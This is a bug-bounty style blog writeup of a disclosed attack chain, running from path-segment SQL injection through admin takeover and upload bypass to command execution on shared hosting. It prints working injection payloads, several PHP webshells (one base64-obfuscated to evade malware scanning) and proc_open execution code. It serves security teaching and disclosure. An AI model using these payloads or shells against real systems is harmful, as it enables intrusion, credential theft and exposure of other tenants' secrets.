August 10, 2026
From SQL Injection to Remote Code Execution: Following an Unexpected Attack Chain
Three nights, a lot of coffee, and one SQL injection that refused to stay small.

By Adwaith S
8 min read
[ Disclaimer ]
This is a writeup of a vulnerability I discovered, responsibly disclosed, and confirmed as patched before publishing. The target's domain, IP address, hostnames, file paths, credentials, and any secrets discovered during the assessment have been redacted or replaced with placeholders. Payloads and command output are shown as they actually happened, to illustrate the technique not to enable exploitation of any live system.
I wasn't even looking for anything big that night. I was just going through a target's pages out of habit, clicking around, checking parameters the way you do when you've done this enough times that it's basically muscle memory. Then I noticed something a numeric id sitting right there in the URL path, not in a query string where everyone expects it:
[ The full attack chain ]
GET /details/{id}/[REDACTED_ENDPOINT]/.../GET /details/{id}/[REDACTED_ENDPOINT]/.../Most scanners don't even bother touching path segments like this. So I tried it manually. Threw in an updatexml() error-based payload, the kind that makes MySQL choke on invalid XPATH and spit the error and whatever data you smuggled in right back at you:
GET /details/3%20AND%20updatexml(1,concat(0x3a,(SELECT%20database())),1)/../../GET /details/3%20AND%20updatexml(1,concat(0x3a,(SELECT%20database())),1)/../../And there it was:
XPATH syntax error: ‘:[REDACTED_DB_NAME]’XPATH syntax error: ‘:[REDACTED_DB_NAME]’
That little jolt when the error message hands you exactly what you asked for. SQL injection, confirmed. That's always the moment things get interesting, and also the moment I know I'm not sleeping on time tonight.
Since the injection was already leaking data back through errors, I didn't stop at the database name. Viewing tables one by one, hand-modifying the query and sending it over every time, gets old fast so I wrote a small Python script to automate the dump instead. Turned out there were 30 tables sitting there. Most of them didn't mean much to me. One did: tbl_user
I went straight for the accounts:
SELECT concat(user_username, ‘:’, user_password)
FROM tbl_user
WHERE user_user_type LIKE ‘%admin%’ LIMIT 1SELECT concat(user_username, ‘:’, user_password)
FROM tbl_user
WHERE user_user_type LIKE ‘%admin%’ LIMIT 1Came back clean. Admin account, superadmin account, bcrypt hashes attached. I'm not putting the actual values here, but the point is one injectable parameter, and I had a straight line to the login page.
Before I even went looking for that login page, I had a different idea first: what if I could write a webshell directly through the injection itself, no admin panel needed at all? If that worked, I wouldn't just have the site, I'd have the server. So I went down that road for a while.
Writing a file through SQL injection isn't automatic there's a specific set of conditions that all have to line up:
- The database user needs the
FILEprivilege. Without it, any write attempt just gets denied outright. secure_file_privhas to be empty. If it's locked to a specific directory, you're stuck writing there, which is usually nowhere near the web root.- The system user running
MySQLneeds actual write permissions on the target directory. - You need to know the real, absolute path you're writing to guessing the web root blind rarely works.
- Single quotes around the filename can't be sanitized by the application, or the whole
INTO OUTFILEsyntax breaks.
Assuming those line up, there are two commands that actually get you a file on disk:
INTO OUTFILE writes query results out as text, one row per line:
SELECT * FROM table_name INTO OUTFILE ‘/path/to/webshell.php’;SELECT * FROM table_name INTO OUTFILE ‘/path/to/webshell.php’;Since it's built for exporting data, people usually wrap it with FIELDS ENCLOSED BYor LINES TERMINATED BY to sneak the actual payload in around the exported rows but that formatting has a habit of mangling the code you're trying to plant.
INTO DUMPFILE is cleaner. It writes a single raw file with no formatting added, which makes it the more reliable choice if you're trying to drop something like a PHP shell.
None of it mattered in the end, though. No FILE privilege, nothing. I tried a handful of angles anyway just to be sure, but the account behind the injection could read database name, version, table structure, all of it but it couldn't write a single byte. So that path was closed. Back to the login page.
I had admin credentials sitting in my hand but no idea where the actual login page lived, so I brute-forced common admin paths until one hit an endpoint called manager.
Visited it, and there it was, a login screen.
At that point I'd already written one script to dump table data, so I wrote a second one to pull every admin credential cleanly rather than picking through query output by hand. Two accounts came back one labeled SuperAdmin, one labeled Admin. I logged in as SuperAdmin.
Logged into /manager/ with what I pulled. It worked. Full admin panel media uploads, content, config, all of it sitting open in front of me.
Felt like the finish line. Wasn't even close.
The admin panel had a gallery upload feature, so that's where I went next. First shell, nothing clever:
<?php echo system($_GET['cmd']); ?><?php echo system($_GET['cmd']); ?>Upload form only took PNG/JPG. Got past that without much trouble, file went up fine. Hit the path expecting output.
HTTP/1.1 403 ForbiddenHTTP/1.1 403 ForbiddenBlank page. Nothing. That kind of silence after a successful upload usually means something's actively sitting in front of the app and killing requests a WAF, most likely. So instead of throwing more payloads at it blind, I uploaded a plain phpinfo() probe first, because if I was going to be fighting something all night I at least wanted to know what it was.
What came back told me a lot:
Item Value
---------------------------------------------------------------------------------------
Server Software LiteSpeed (X-LSCACHE enabled)
---------------------------------------------------------------------------------------
OS Linux (CloudLinux / RHEL 8 base)
---------------------------------------------------------------------------------------
PHP Version 7.4.33 (cPanel EasyApache)
---------------------------------------------------------------------------------------
Disabled Functions exec, passthru, popen, shell_exec,
show_source, system
---------------------------------------------------------------------------------------
Active Protection Monarx Protect
---------------------------------------------------------------------------------------
allow_url_include Off
---------------------------------------------------------------------------------------
enable_dl Off
---------------------------------------------------------------------------------------
expose_php Off
---------------------------------------------------------------------------------------Item Value
---------------------------------------------------------------------------------------
Server Software LiteSpeed (X-LSCACHE enabled)
---------------------------------------------------------------------------------------
OS Linux (CloudLinux / RHEL 8 base)
---------------------------------------------------------------------------------------
PHP Version 7.4.33 (cPanel EasyApache)
---------------------------------------------------------------------------------------
Disabled Functions exec, passthru, popen, shell_exec,
show_source, system
---------------------------------------------------------------------------------------
Active Protection Monarx Protect
---------------------------------------------------------------------------------------
allow_url_include Off
---------------------------------------------------------------------------------------
enable_dl Off
---------------------------------------------------------------------------------------
expose_php Off
---------------------------------------------------------------------------------------All the easy stuff was locked. No system(), no exec(), no shell_exec().
A malware scanner running at runtime, not just checking files on upload. No verbose errors leaking anything back to me either. Whoever set this box up actually knew what they were doing, which honestly made it more fun.
eval() wasn't on the disabled list though:
<?php
if (isset($_POST['code'])) {
@eval($_POST['code']);
}
?><?php
if (isset($_POST['code'])) {
@eval($_POST['code']);
}
?>Tested it:
curl -s -X POST 'https://[REDACTED-TARGET]/[REDACTED_UPLOAD_PATH]' \
--data "code=echo helllo;"curl -s -X POST 'https://[REDACTED-TARGET]/[REDACTED_UPLOAD_PATH]' \
--data "code=echo helllo;"Response ]:
helllohellloGood, PHP execution works. But echoing strings isn't the goal, I needed real shell output. proc_open() wasn't blocked either, so I used it to spawn a process and read back what it printed:
$descriptorspec = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','err']];
$process = proc_open('id', $descriptorspec, $pipes);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);
}$descriptorspec = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','err']];
$process = proc_open('id', $descriptorspec, $pipes);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);
}Response:
uid=[REDACTED](hosting-user) gid=[REDACTED] groups=[REDACTED]uid=[REDACTED](hosting-user) gid=[REDACTED] groups=[REDACTED]There it was.
Command execution, as the hosting account's actual system user. I remember just staring at that line for a second.
Then I ran the next command. ls. Nothing. No error, no output, dead silence same as the first shell that got blocked.
I renamed the file, uploaded a fresh copy, tried again. Same thing. One command worked. The second one didn't. Every time.
That pattern is what got me thinking. If it were just a static scan catching the file on upload, the first command wouldn't have worked at all it would've been blocked immediately, like my system() shell was. But this one let exactly one execution through and then killed it. That's not "this file looks bad," that's "this file is behaving badly, shut it down." Behavioral detection, watching what the file does after it lands, not just what it contains when it lands.
[ WAF evasion ]
Once I understood that, the fix became obvious-ish.
My eval($_POST['code']) shell had the word code sitting right next to eval(). That's a giveaway, static or behavioral, doesn't matter it's a pattern, and patterns get flagged. So I stopped writing anything recognizable into the file at all:
<?php
$p = base64_decode('cGF5bG9hZA==');
if (isset($_POST[$p])) {
@eval(base64_decode($_POST[$p]));
}
?><?php
$p = base64_decode('cGF5bG9hZA==');
if (isset($_POST[$p])) {
@eval(base64_decode($_POST[$p]));
}
?>The parameter name only exists decoded, at runtime. Never sits in the file as plain text. And whatever command I send goes over as base64 too, so there's nothing that looks like eval($_POST[...]) anywhere in the request either.
Uploaded it. Ran a command.
Worked. Ran another. Worked. Kept going five, six commands in a row, no interruption.
First time all night something just kept working.
By that point I was tired enough that typing base64 by hand for every single command felt unbearable, so I threw together a small script to handle the encoding for me and let me just type normal commands.
Small thing, but it's the difference between grinding through three nights and actually being able to think straight while working.
With stable access, I looked around carefully, not digging through everything I could reach, just enough to understand what was actually at risk. And that's where it stopped being "one site has a bug" and turned into something bigger. Server config exposed credentials and API keys that had nothing to do with the site I was testing they belonged to completely unrelated websites sitting on the same shared server. Different database creds, cloud storage keys, service keys, none of it scoped to my target at all.
I didn't touch any of it beyond confirming it was there. Wasn't what this was about. But it's a strange feeling, realizing a bug in one site could've put a stranger's entire project at risk without them ever knowing.
Reported everything after that. The SQLi and the upload flaw both got patched. This writeup only went up once that was confirmed.
A few things I keep thinking about from this one:
disable_functions stops the obvious stuff, but proc_open() and eval() get left open constantly because they have legitimate uses too hardening that only blocks function names by name has a ceiling. Same with WAFs and malware scanners built on pattern matching encoding your way around a known signature is a well-worn trick precisely because pattern matching can only catch what it already recognizes as bad. And the shared hosting part still bugs me a little one vulnerable site, and suddenly every other tenant on that box is exposed too, no matter how careful they were with their own code.
On the research side fingerprinting before throwing payloads blind saved me a lot of wasted effort. And when something works exactly once and then goes quiet, that's telling you something specific about how it's watching you. Worth sitting with that for a minute instead of just brute-forcing past it.
Mostly though, this one was just stubbornness and a lot of coffee. Three nights of it. That's most of this job, honestly.